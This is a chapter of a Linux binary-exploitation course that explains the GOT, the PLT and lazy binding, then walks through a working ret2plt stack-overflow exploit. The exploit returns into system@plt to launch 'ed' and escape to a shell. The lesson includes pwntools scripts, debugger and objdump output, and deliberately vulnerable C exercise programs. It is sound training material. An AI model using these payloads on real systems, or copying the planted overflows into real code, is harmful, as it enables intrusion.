arrow-left

All pages
gitbookPowered by GitBook
1 of 1

Loading...

8. Bypassing ASLR/NX with Ret2PLT

hashtag
Bypassing ASLR/NX with Ret2PLT

Before beginning this section, please ensure you have re-enabled ASLR. You can do this by running the following command.

Finally, we have two protections enabled: ASLR and NX. To start off, this will be our first target for the section:

Running the binary:

Now that ASLR has been enabled, we have a problem. We no longer can be sure where the libc will be mapped at. However, that begs the question: how does the binary know where the address of anything is now that they are randomised? The answer lies in something called the Global Offset Table and the Procedure Linkage Table.

hashtag
Global Offset Table

To handle functions from dynamically loaded objects, the compiler assigns a space to store a list of pointers in the binary. Each slot of the pointers to be filled in is called a 'relocation' entry. This region of memory is marked readable to allow for the values for the entries to change during runtime.

We can take a look at the '.got' segment of the clock binary with readelf.

Let's take the read entry in the GOT as an example. If we hop onto gdb, and open the binary in the debugger without running it, we can examine what is in the GOT initially.

It actually turns out that that value is an address within the Procedure Linkage Table. This actually is part of the mechanic to perform lazy binding. Lazy binding allows the binary to only resolve its dynamic addresses when it needs o.

If we run it and break just before the program ends, we can see that the value in the GOT is completely different and now points somewhere in libc.

hashtag
Procedure Linkage Table

When you use a libc function in your code, the compiler does not directly call that function but calls a PLT stub instead. Let's take a look at the disassembly of the read function in PLT.

Here's what's going on here when the function is run for the first time:

  1. The read@plt function is called.

  2. Execution reaches jmp DWORD PTR ds:0x804a00c and the memory address 0x804a00c is dereferenced and is jumped to. If that value looks familiar, it is. It was the address of the GOT entry of read.

The details of this will be important for the next section but for now, the crucial characteristic of the PLT stub is that it is part of the binary and will be mapped at a static address. Thus, we can use the stub as a target when constructing our exploit.

hashtag
Writing the Exploit

As per usual, here is the skeleton code to obtain EIP control of the binary.

Let's look at the available PLT stubs to choose from.

We are in luck, because system@plt is a powerful function we can definitely use. That's one out of two things we need. The second thing is a command we can execute. Normally, we would use "/bin/sh" but it does not seem we would find that here.

Take a moment to figure out a target before taking a look at the answers.

It turns out that ed is a valid Linux command. It actually spawns a minimalistic editor. It also turns out that there is an "ed" string available in the binary. Can you spot it?

If we take the last two characters of the string "The sheep are blue, but you see red" or "_IO_stdin_used", we can get that "ed" we are looking for.

Putting our parts together, we can come up with this final exploit.

But, now you might ask, if all we are going to spawn is a line based text editor, then how are we going to get our shell? As it so happens, the ed program can actually run commands!

hashtag
Exercises

Please do these exercises without looking at the solution.

hashtag
Ex 9.1: Event 0

Let's start doing some difficult exercises. Here is event0. Try to solve this problem using the Ret2PLT technique.

The binary can be found here. And the remote target is at nc localhost 1901.

If you get stuck, you can look at the following solution scripts in order of completeness.

  1. Skeleton

  2. Local POC

  3. Remote POC

ubuntu@ubuntu-xenial:/vagrant/lessons/7_bypass_nx_ret2libc/scripts$ echo 2 |
sudo tee /proc/sys/kernel/randomize_va_space
2
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

void show_time() {
    system("date");
    system("cal");
}

void vuln() {
    char buffer[64];
    read(0, buffer, 92);
    printf("Your name is %s\n", buffer);
}

int main() {
    puts("Welcome to the Matrix.");
    puts("The sheep are blue, but you see red");
    vuln();
    puts("Time is very important to us.");
    show_time();
}
amon@bethany:~/sproink/linux-exploitation-course/lessons/9_bypass_ret2plt$ ./build/1_clock
Welcome to the Matrix.
The sheep are blue, but you see red
AAAA
Your name is AAAA

Time is very important to us.
Fri Jan 13 22:33:13 SGT 2017
    January 2017
Su Mo Tu We Th Fr Sa
 1  2  3  4  5  6  7
 8  9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Since the GOT contained the value 0x08048346 initially, execution jumps to the next instruction of the read@plt function because that's where it points to.
  • The dynamic loader is called which overwrites the GOT with the resolved address.

  • Execution continues at the resolved address.

  • ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ readelf --relocs 1_clock
    
    Relocation section '.rel.dyn' at offset 0x2dc contains 1 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    08049ffc  00000506 R_386_GLOB_DAT    00000000   __gmon_start__
    
    Relocation section '.rel.plt' at offset 0x2e4 contains 5 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804a00c  00000107 R_386_JUMP_SLOT   00000000   read@GLIBC_2.0
    0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
    0804a014  00000307 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a018  00000407 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
    0804a01c  00000607 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:  0x08048346
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:	0x08048346
    ... snip ...
    gdb-peda$ x/xw 0x0804a00c
    0x804a00c:	0xf7eea980
    gdb-peda$
    gdb-peda$ disas read
    Dump of assembler code for function read@plt:
       0x08048340 <+0>:	jmp    DWORD PTR ds:0x804a00c
       0x08048346 <+6>:	push   0x0
       0x0804834b <+11>:	jmp    0x8048330
    End of assembler dump.
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    def main():
        # Start the process
        p = process("../build/1_clock")
    
        # Print the pid
        raw_input(str(p.proc.pid))
    
        # Craft the payload
        payload = "A"*76 + p32(0xdeadc0de)
        payload = payload.ljust(96, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Pass interaction to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ objdump -d ./1_clock -j .plt
    
    ./1_clock:     file format elf32-i386
    
    
    Disassembly of section .plt:
    
    08048330 <read@plt-0x10>:
     8048330:	ff 35 04 a0 04 08    	pushl  0x804a004
     8048336:	ff 25 08 a0 04 08    	jmp    *0x804a008
     804833c:	00 00                	add    %al,(%eax)
    	...
    
    08048340 <read@plt>:
     8048340:	ff 25 0c a0 04 08    	jmp    *0x804a00c
     8048346:	68 00 00 00 00       	push   $0x0
     804834b:	e9 e0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048350 <printf@plt>:
     8048350:	ff 25 10 a0 04 08    	jmp    *0x804a010
     8048356:	68 08 00 00 00       	push   $0x8
     804835b:	e9 d0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048360 <puts@plt>:
     8048360:	ff 25 14 a0 04 08    	jmp    *0x804a014
     8048366:	68 10 00 00 00       	push   $0x10
     804836b:	e9 c0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048370 <system@plt>:
     8048370:	ff 25 18 a0 04 08    	jmp    *0x804a018
     8048376:	68 18 00 00 00       	push   $0x18
     804837b:	e9 b0 ff ff ff       	jmp    8048330 <_init+0x24>
    
    08048380 <__libc_start_main@plt>:
     8048380:	ff 25 1c a0 04 08    	jmp    *0x804a01c
     8048386:	68 20 00 00 00       	push   $0x20
     804838b:	e9 a0 ff ff ff       	jmp    8048330 <_init+0x24>
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/build$ strings -a 1_clock
    /lib/ld-linux.so.2
    libc.so.6
    _IO_stdin_used
    puts
    printf
    read
    system
    __libc_start_main
    __gmon_start__
    GLIBC_2.0
    PTRh
    UWVS
    t$,U
    [^_]
    date
    Your name is %s
    Welcome to the Matrix.
    The sheep are blue, but you see red
    Time is very important to us.
    gdb-peda$ find "The sheep are blue, but you see red"
    Searching for 'The sheep are blue, but you see red' in: None ranges
    Found 3 results, display max 3 items:
    1_clock : 0x8048604 ("The sheep are blue, but you see red")
    1_clock : 0x8049604 ("The sheep are blue, but you see red")
     [heap] : 0x804b008 ("The sheep are blue, but you see red\n")
    gdb-peda$
    #!/usr/bin/python
    
    from pwn import *
    
    system_plt = 0x08048370
    ed_str = 0x8048625
    
    def main():
        # Start the process
        p = process("../build/1_clock")
    
        # Craft the payload
        payload = "A"*76
        payload += p32(system_plt)
        payload += p32(0xdeadbeef)
        payload += p32(ed_str)
        payload = payload.ljust(96, "\x00")
    
        # Send the payload
        p.send(payload)
    
        # Pass interaction to the user
        p.interactive()
    
    if __name__ == "__main__":
        main()
    ubuntu@ubuntu-xenial:/vagrant/lessons/9_bypass_ret2plt/scripts$ python 2_final.py
    [+] Starting local process '../build/1_clock': Done
    [*] Switching to interactive mode
    Welcome to the Matrix.
    The sheep are blue, but you see red
    Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp\x83\x0ᆳ�%\x86\x0
    $ ls -la
    ?
    $ !/bin/sh
    $ ls -la
    total 2100
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 .
    drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 15:56 ..
    -rw-rw-r-- 1 ubuntu ubuntu     405 Jan 12 21:54 1_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu     468 Jan 12 21:57 2_final.py
    -rw-rw-r-- 1 ubuntu ubuntu     408 Jan 12 22:41 3_event0_skeleton.py
    -rw-rw-r-- 1 ubuntu ubuntu     483 Jan 12 22:52 4_event0_local.py
    -rw-rw-r-- 1 ubuntu ubuntu     518 Jan 12 22:52 5_event0_remote.py
    -rw------- 1 ubuntu ubuntu 2121728 Jan 13 15:56 core
    $
    [*] Stopped program '../build/1_clock'
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    
    int active = 1;
    char name[200];
    char * secret = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    
    void print_warning() {
        puts("=======================================================================================");
        puts("This Kaizen-85 Artificial Intelligence would like to remind you that this is not a toy.");
        puts("Please treat this terminal with the utmost care.");
        puts("Crashing this program will result in ship malfunction.");
        puts("You have been warned.");
        puts("=======================================================================================\n");
    }
    
    void print_prompt() {
        printf("Options for ");
        puts(name);
        puts("1. Peek Memory Address");
        puts("2. Change Name");
        puts("3. Overwite Memory Address");
        puts("9. Exit Terminal");
    }
    
    void peek_prompt() {
        int * address;
        printf("Address: ");
        scanf("%p", &address);
        printf("Contents: 0x%x\n", *address);
    }
    
    void change_name() {
        char buffer[100];
        printf("Name: ");
        read(0, buffer, sizeof(name));
        buffer[strcspn(buffer, "\n")] = 0;
        strncpy(name, buffer, sizeof(name));
    }
    
    void poke_prompt() {
        int * address;
        int data;
        printf("Address: ");
        scanf("%p", &address);
        printf("Data: ");
        scanf("%x", &data);
        *address = data;
    }
    
    void print_secret() {
        if (getpid() == 0) {
            puts("secret");
        }
    }
    
    int main() {
        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
    
        int option;
        print_warning();
        change_name();
        while (active) {
            print_prompt();
            printf("Option: ");
            scanf("%d", &option);
            if (option == 9) {
                active = 0;
                puts("Goodbye.");
            }
            else if (option == 1) {
                peek_prompt();
            }
            else if (option == 2) {
                change_name();
            }
            else if (option == 3) {
                poke_prompt();
            }
            else if (option == 4) {
                print_secret();
            }
        }
    }